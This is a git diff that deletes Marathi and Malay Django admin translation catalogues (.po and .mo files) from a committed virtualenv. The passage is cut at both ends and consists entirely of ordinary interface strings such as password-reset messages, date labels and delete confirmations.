गुप्तशब्द दोनदा नमूद करा, जेणेकरून तुम्ही तो योग्य नमूद केला आहे का याची " -"आम्ही पडताळणी करू." - -msgid "New password:" -msgstr "नवीन गुप्तशब्द:" - -msgid "Confirm password:" -msgstr "निश्चित गुप्तशब्द:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"गुप्तशब्द पुन्हस्थापना दुवा अवैध आहे, कदाचित तो आधीच वापरला गेलेला आहे. कृपया नवीन गुप्तशब्द " -"पुन्हस्थापनेची विनंती करा." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"आपल्याला आपला गुप्तशब्द पुन्हस्थापीत करण्याच्या सूचना विपत्र केल्या आहेत, जर नमूद केलेल्या " -"विपत्रासह खाते उपलब्ध असेल तर आपल्याला ते लवकरच मिळायला पाहीजे." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"जर तुम्हाला विपत्र मिळत नसेल तर कृपया खाते नोंदवलेला विपत्र तुम्ही योग्य नमूद केलाय का " -"याची खात्री करा आणि तुमचा स्पॅम फोल्डर तपासा." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"तुम्हाला हा विपत्र मिळत आहे कारण तुम्ही %(site_name)s या संकेतस्थळावरील तुमच्या " -"वापरकर्ता खात्यासाठी गुप्तशब्द पुन्हस्थापनेची विनंती केली होती." - -msgid "Please go to the following page and choose a new password:" -msgstr "कृपया खालील पानावर जा आणि नवीन गुप्तशब्द निवडा." - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "आमच्या संकेतस्थळाचा वापर केल्याबद्दल आभार!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s संघ" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"तुमचा गुप्तशब्द विसरलात का? तुमचा विपत्रपत्ता खाली नमूद करा. नवीन गुप्तशब्द " -"ठरवण्यासाठीच्या सूचना आम्ही तुम्हाला विपत्र करू." - -msgid "Email address:" -msgstr "विपत्र पत्ता:" - -msgid "Reset my password" -msgstr "माझा गुप्तशब्द पुन्हस्थापन करा" - -msgid "Select all objects on this page for an action" -msgstr "क्रिया करण्यासाठी या पानावरील सर्व घटक निवडा." - -msgid "All dates" -msgstr "सर्व दिनांक" - -#, python-format -msgid "Select %s" -msgstr "%s निवडा" - -#, python-format -msgid "Select %s to change" -msgstr "बदलण्यासाठी %s निवडा" - -#, python-format -msgid "Select %s to view" -msgstr "पाहण्यासाठी %s निवडा" - -msgid "Date:" -msgstr "दिनांक:" - -msgid "Time:" -msgstr "वेळ:" - -msgid "Lookup" -msgstr "शोध" - -msgid "Currently:" -msgstr "सध्या:" - -msgid "Change:" -msgstr "बदला:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 183b3d14..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.po deleted file mode 100644 index 2026d168..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,145 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2014-10-05 20:12+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Marathi (http://www.transifex.com/projects/p/django/language/" -"mr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mr\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Choose all" -msgstr "" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "" - -msgid "Clock" -msgstr "" - -msgid "Choose a time" -msgstr "" - -msgid "Midnight" -msgstr "" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "" - -msgid "Cancel" -msgstr "" - -msgid "Today" -msgstr "" - -msgid "Calendar" -msgstr "" - -msgid "Yesterday" -msgstr "" - -msgid "Tomorrow" -msgstr "" - -msgid "" -"January February March April May June July August September October November " -"December" -msgstr "" - -msgid "S M T W T F S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/django.mo deleted file mode 100644 index f558c1be..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/django.po deleted file mode 100644 index e69439eb..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/django.po +++ /dev/null @@ -1,721 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jafry Hisham, 2021 -# Mariusz Felisiak , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-12-06 07:41+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Malay (http://www.transifex.com/django/django/language/ms/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ms\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Padam pilihan %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s berjaya dipadamkan" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s tidak boleh dipadamkan" - -msgid "Are you sure?" -msgstr "Adakah anda pasti?" - -msgid "Administration" -msgstr "Pentadbiran" - -msgid "All" -msgstr "Semua" - -msgid "Yes" -msgstr "Ya" - -msgid "No" -msgstr "Tidak" - -msgid "Unknown" -msgstr "Tidak diketahui" - -msgid "Any date" -msgstr "Sebarang tarikh" - -msgid "Today" -msgstr "Hari ini" - -msgid "Past 7 days" -msgstr "7 hari lalu" - -msgid "This month" -msgstr "Bulan ini" - -msgid "This year" -msgstr "Tahun ini" - -msgid "No date" -msgstr "Tiada tarikh" - -msgid "Has date" -msgstr "Mempunyai tarikh" - -msgid "Empty" -msgstr "Kosong" - -msgid "Not empty" -msgstr "Tidak kosong" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Sila masukkan %(username)s dan kata-laluan bagi akaun staf. Kedua-dua medan " -"berkemungkinan kes-sensitif." - -msgid "Action:" -msgstr "Tindakan" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Tambah %(verbose_name)s" - -msgid "Remove" -msgstr "Buang" - -msgid "Addition" -msgstr "Tambahan" - -msgid "Change" -msgstr "Tukar" - -msgid "Deletion" -msgstr "Pemadaman" - -msgid "action time" -msgstr "masa tindakan" - -msgid "user" -msgstr "pengguna" - -msgid "content type" -msgstr "jenis kandungan" - -msgid "object id" -msgstr "id objek" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr objek" - -msgid "action flag" -msgstr "bendera tindakan" - -msgid "change message" -msgstr "tukar mesej" - -msgid "log entry" -msgstr "entri log" - -msgid "log entries" -msgstr "entri log" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" ditambah" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "\"%(object)s\" ditukar - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" dipadam." - -msgid "LogEntry Object" -msgstr "Objek EntriLog" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” ditambah." - -msgid "Added." -msgstr "Ditambah." - -msgid "and" -msgstr "dan" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "“{object}” {name} untuk {fields} telah ditukar." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} telah ditukar." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "“{object}” {name} telah dipadamkan" - -msgid "No fields changed." -msgstr "Tiada medan diubah." - -msgid "None" -msgstr "Tiada" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Tekan \"Control\", atau \"Command pada Mac untuk memilih lebih daripada satu." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" telah berjaya ditambah." - -msgid "You may edit it again below." -msgstr "Anda boleh edit semula dibawah." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} \"{obj}\" telah berjaya ditambah. Anda boleh menambah {name} lain " -"dibawah." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} \"{obj}\" berjaya diubah. Anda boleh edit semula dibawah." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "{name} \"{obj}\" berjaya ditambah. Anda boleh edit semula dibawah." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} \"{obj}\" berjaya diubah. Anda boleh tambah {name} lain dibawah" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" berjaya diubah." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Item-item perlu dipilih mengikut turutan untuk tindakan lanjut. Tiada item-" -"item yang diubah." - -msgid "No action selected." -msgstr "Tiada tindakan dipilih." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" berjaya dipadam." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"%(name)s dengan ID \"%(key)s\" tidak wujud. Mungkin ia telah dipadamkan?" - -#, python-format -msgid "Add %s" -msgstr "Tambah %s" - -#, python-format -msgid "Change %s" -msgstr "Tukar %s" - -#, python-format -msgid "View %s" -msgstr "Lihat %s" - -msgid "Database error" -msgstr "Masalah pangkalan data" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s berjaya ditukar." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Kesemua %(total_count)s dipilih" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 daripada %(cnt)s dipilih" - -#, python-format -msgid "Change history: %s" -msgstr "Sejarah penukaran: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Memadam %(class_name)s %(instance)s memerlukan pemadaman objek berkaitan " -"yang dilindungi: %(related_objects)s" - -msgid "Django site admin" -msgstr "Pentadbiran laman Django" - -msgid "Django administration" -msgstr "Pentadbiran Django" - -msgid "Site administration" -msgstr "Pentadbiran laman" - -msgid "Log in" -msgstr "Log masuk" - -#, python-format -msgid "%(app)s administration" -msgstr "Pentadbiran %(app)s" - -msgid "Page not found" -msgstr "Laman tidak dijumpai" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Maaf, tetapi laman yang diminta tidak dijumpai." - -msgid "Home" -msgstr "Utama" - -msgid "Server error" -msgstr "Masalah pelayan" - -msgid "Server error (500)" -msgstr "Masalah pelayan (500)" - -msgid "Server Error (500)" -msgstr "Masalah pelayan (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Terdapat masalah. Ia telah dilaporkan kepada pentadbir laman melalui emel " -"dan sepatutnya dibaiki sebentar lagi. Kesabaran anda amat dihargai." - -msgid "Run the selected action" -msgstr "Jalankan tindakan yang dipilih" - -msgid "Go" -msgstr "Teruskan" - -msgid "Click here to select the objects across all pages" -msgstr "Klik disini untuk memilih objek-objek disemua laman" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Pilih kesemua %(total_count)s%(module_name)s" - -msgid "Clear selection" -msgstr "Padam pilihan" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Model didalam aplikasi %(name)s" - -msgid "Add" -msgstr "Tambah" - -msgid "View" -msgstr "Lihat" - -msgid "You don’t have permission to view or edit anything." -msgstr "Anda tidak mempunyai kebenaran untuk melihat atau edit apa-apa." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Pertama sekali, masukkan nama pengguna dan kata laluan. Selepas itu, anda " -"boleh edit pilihan pengguna yang lain" - -msgid "Enter a username and password." -msgstr "Masukkan nama pengguna dan kata laluan." - -msgid "Change password" -msgstr "Tukar kata laluan" - -msgid "Please correct the error below." -msgstr "Sila betulkan ralat di bawah." - -msgid "Please correct the errors below." -msgstr "Sila betulkan ralat-ralat di bawah." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Masukkan kata lalauan bagi pengguna %(username)s" - -msgid "Welcome," -msgstr "Selamat datang," - -msgid "View site" -msgstr "Lihat laman" - -msgid "Documentation" -msgstr "Dokumentasi" - -msgid "Log out" -msgstr "Log keluar" - -#, python-format -msgid "Add %(name)s" -msgstr "Tambah %(name)s" - -msgid "History" -msgstr "Sejarah" - -msgid "View on site" -msgstr "Lihat di laman" - -msgid "Filter" -msgstr "Tapis" - -msgid "Clear all filters" -msgstr "Kosongkan kesemua tapisan" - -msgid "Remove from sorting" -msgstr "Buang daripada penyusunan" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Keutamaan susunan: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Togol penyusunan" - -msgid "Delete" -msgstr "Buang" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Memadam %(object_name)s '%(escaped_object)s' akan menyebabkan pembuangan " -"objek-objek yang berkaitan, tetapi akaun anda tidak mempunyai kebenaran " -"untuk memadam jenis-jenis objek-objek berikut:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Membuang %(object_name)s '%(escaped_object)s' memerlukan pembuangan objek-" -"objek berkaitan yang dilindungi:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Adakah anda pasti anda ingin membuang %(object_name)s \"%(escaped_object)s" -"\"? Semua item-item berkaitan berikut akan turut dibuang:" - -msgid "Objects" -msgstr "Objek-objek" - -msgid "Yes, I’m sure" -msgstr "Ya, saya pasti" - -msgid "No, take me back" -msgstr "Tidak, bawa saya kembali" - -msgid "Delete multiple objects" -msgstr "Buang pelbagai objek" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Membuang %(objects_name)s akan menyebabkan pembuangan objek-objek yang " -"berkaitan, tetapi akaun anda tidak mempunyai kebenaran to membuang jenis " -"objek-objek berikut:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Membuang %(objects_name)s memerlukan pembuangan objek-objek berkaitan yang " -"dilindungi:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Adakah anda pasti untuk membuang %(objects_name)s yang dipilih? Segala objek-" -"objek berikut dan item-item yang berkaitan akan turut dibuang:" - -msgid "Delete?" -msgstr "Buang?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Daripada %(filter_title)s" - -msgid "Summary" -msgstr "Rumusan" - -msgid "Recent actions" -msgstr "Tindakan terkini" - -msgid "My actions" -msgstr "Tindakan saya" - -msgid "None available" -msgstr "Tiada yang tersedia" - -msgid "Unknown content" -msgstr "Kandungan tidak diketahui" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Nampaknya ada masalah dengan pemasangan pangkalan data anda. Pastikan jadual " -"pangkalan yang bersesuaian telah di cipta, dan pastikan pangkalan data " -"tersebut boleh dibaca oleh pengguna yang bersesuaian." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Anda telah disahkan sebagai %(username)s, tetapi anda tidak dibenarkan untuk " -"mengakses ruangan ini. Adakah anda ingin log masuk menggunakan akaun lain?" - -msgid "Forgotten your password or username?" -msgstr "Terlupa kata laluan atau nama pengguna anda?" - -msgid "Toggle navigation" -msgstr "Togol navigasi" - -msgid "Start typing to filter…" -msgstr "Mulakan menaip untuk menapis..." - -msgid "Filter navigation items" -msgstr "Tapis item-item navigasi" - -msgid "Date/time" -msgstr "Tarikh/masa" - -msgid "User" -msgstr "Pengguna" - -msgid "Action" -msgstr "Tindakan" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Objek ini tidak mempunyai sejarah penukaran. Ini mungkin bermaksud ia tidak " -"ditambah menggunakan laman admin ini." - -msgid "Show all" -msgstr "Tunjuk semua" - -msgid "Save" -msgstr "Simpan" - -msgid "Popup closing…" -msgstr "Popup sedang ditutup..." - -msgid "Search" -msgstr "Cari" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s keputusan" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s jumlah" - -msgid "Save as new" -msgstr "Simpan sebagai baru" - -msgid "Save and add another" -msgstr "Simpan dan tambah lagi" - -msgid "Save and continue editing" -msgstr "Simpan dan teruskan mengedit" - -msgid "Save and view" -msgstr "Simpan dan lihat" - -msgid "Close" -msgstr "Tutup" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Tukar %(model)s yang dipilih" - -#, python-format -msgid "Add another %(model)s" -msgstr "Tambah %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Buang %(model)s pilihan" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Terima kasih kerana meluangkan masa di laman sesawang ini hari ini." - -msgid "Log in again" -msgstr "Log masuk semula" - -msgid "Password change" -msgstr "Pertukaran kata laluan" - -msgid "Your password was changed." -msgstr "Kata laluan anda telah ditukarkan" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Untuk tujuan keselamatan, sila masukkan kata laluan lama, kemudian masukkan " -"kata laluan baru dua kali supaya kami dapat memastikan anda memasukkannya " -"dengan betul." - -msgid "Change my password" -msgstr "Tukar kata laluan saya" - -msgid "Password reset" -msgstr "Tetap semula kata laluan" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Kata laluan anda telah ditetapkan. Sila log masuk." - -msgid "Password reset confirmation" -msgstr "Pengesahan tetapan semula kata laluan" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Sila masukkan kata laluan baru anda dua kali supaya kami adpat memastikan " -"anda memasukkannya dengan betul." - -msgid "New password:" -msgstr "Kata laluan baru:" - -msgid "Confirm password:" -msgstr "Sahkan kata laluan:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Pautan tetapan semula kata laluan tidak sah, mungkin kerana ia telah " -"digunakan. Sila minta tetapan semula kata laluan yang baru." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Kami telah menghantar panduan untuk menetapkan kata laluan anda melalui " -"emel, sekiranya emel yang anda masukkan itu wujud. Anda sepatutnya " -"menerimanya sebentar lagi." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Jika anda tidak menerima emel, sila pastikan anda telah memasukkan alamat " -"emel yang telah didaftarkan, dan semak folder spam anda." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Anda menerima emel ini kerana anda telah memohon untuk menetapkan semula " -"kata laluan bagi akaun pengguna di %(site_name)s" - -msgid "Please go to the following page and choose a new password:" -msgstr "Sila ke ruangan berikut dan pilih kata laluan baru:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Nama pengguna anda, sekiranya anda terlupa:" - -msgid "Thanks for using our site!" -msgstr "Terima kasih kerana menggunakan laman kami!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Pasukan %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Lupa kata laluan anda? Masukkan alamat emel anda dibawah, dan kami akan " -"menghantar cara untuk menetapkan kata laluan baru." - -msgid "Email address:" -msgstr "Alamat emel:" - -msgid "Reset my password" -msgstr "Tetap semula kata laluan saya" - -msgid "All dates" -msgstr "Semua tarikh" - -#, python-format -msgid "Select %s" -msgstr "Pilih %s" - -#, python-format -msgid "Select %s to change" -msgstr "Pilih %s untuk diubah" - -#, python-format -msgid "Select %s to view" -msgstr "Pilih %s untuk lihat" - -msgid "Date:" -msgstr "Tarikh:" - -msgid "Time:" -msgstr "Masa:" - -msgid "Lookup" -msgstr "Carian" - -msgid "Currently:" -msgstr "Kini:" - -msgid "Change:" -msgstr "Tukar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 65e00509..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.po deleted file mode 100644 index 6d865028..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,264 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jafry Hisham, 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-11-16 13:42+0000\n" -"Last-Translator: Jafry Hisham\n" -"Language-Team: Malay (http://www.transifex.com/django/django/language/ms/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ms\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s tersedia" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Ini adalah senarai %s yang tersedia. Anda boleh memilih beberapa dengan " -"memilihnya di dalam kotak dibawah dan kemudian klik pada anak panah \"Pilih" -"\" diantara dua kotak itu." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Taip didalam kotak untuk menapis senarai %s yang tersedia." - -msgid "Filter" -msgstr "Tapis" - -msgid "Choose all" -msgstr "Pilih semua" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klik untuk memlih semua %s serentak." - -msgid "Choose" -msgstr "Pilih" - -msgid "Remove" -msgstr "Buang" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s dipilh" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ini adalah senarai %s yang dipilih. Anda boleh membuangnya dengan memilihnya " -"pada kotak dibawah dan kemudian klik pada anak panah \"Buang\" diantara dua " -"kotak itu." - -msgid "Remove all" -msgstr "Buang semua" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klik untuk membuang serentak semua %s yang dipilih." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s daripada %(cnt)s dipilih" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Anda mempunyai perubahan yang belum disimpan pada medan-medan individu yang " -"boleh di-edit. Sekiranya anda melakukan sebarang tindakan, penukaran yang " -"tidak disimpan akan hilang." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Anda telah memlih tindakan, tetapi anda belum menyimpan perubahan yang " -"dilakukan pada medan-medan individu. Sila klik OK to untuk simpan. Anda " -"perlu melakukan semula tindakan tersebut." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Anda telah memilih sesuatu tindakan, dan belum membuat perubahan pada medan-" -"medan individu. Anda mungkin sedang mencari butang Pergi dan bukannya butang " -"Simpan." - -msgid "Now" -msgstr "Sekarang" - -msgid "Midnight" -msgstr "Tengah malam" - -msgid "6 a.m." -msgstr "6 pagi" - -msgid "Noon" -msgstr "Tengahari" - -msgid "6 p.m." -msgstr "6 malam" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Anda %s jam ke depan daripada masa pelayan." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Anda %s jam ke belakang daripada masa pelayan." - -msgid "Choose a Time" -msgstr "Pilih Masa" - -msgid "Choose a time" -msgstr "Pilih masa" - -msgid "Cancel" -msgstr "Batal" - -msgid "Today" -msgstr "Hari ini" - -msgid "Choose a Date" -msgstr "Pilih Tarikh" - -msgid "Yesterday" -msgstr "Semalam" - -msgid "Tomorrow" -msgstr "Esok" - -msgid "January" -msgstr "Januari" - -msgid "February" -msgstr "Februari" - -msgid "March" -msgstr "Mac" - -msgid "April" -msgstr "Arpil" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Jun" - -msgid "July" -msgstr "Julai" - -msgid "August" -msgstr "Ogos" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Disember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ogo" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month 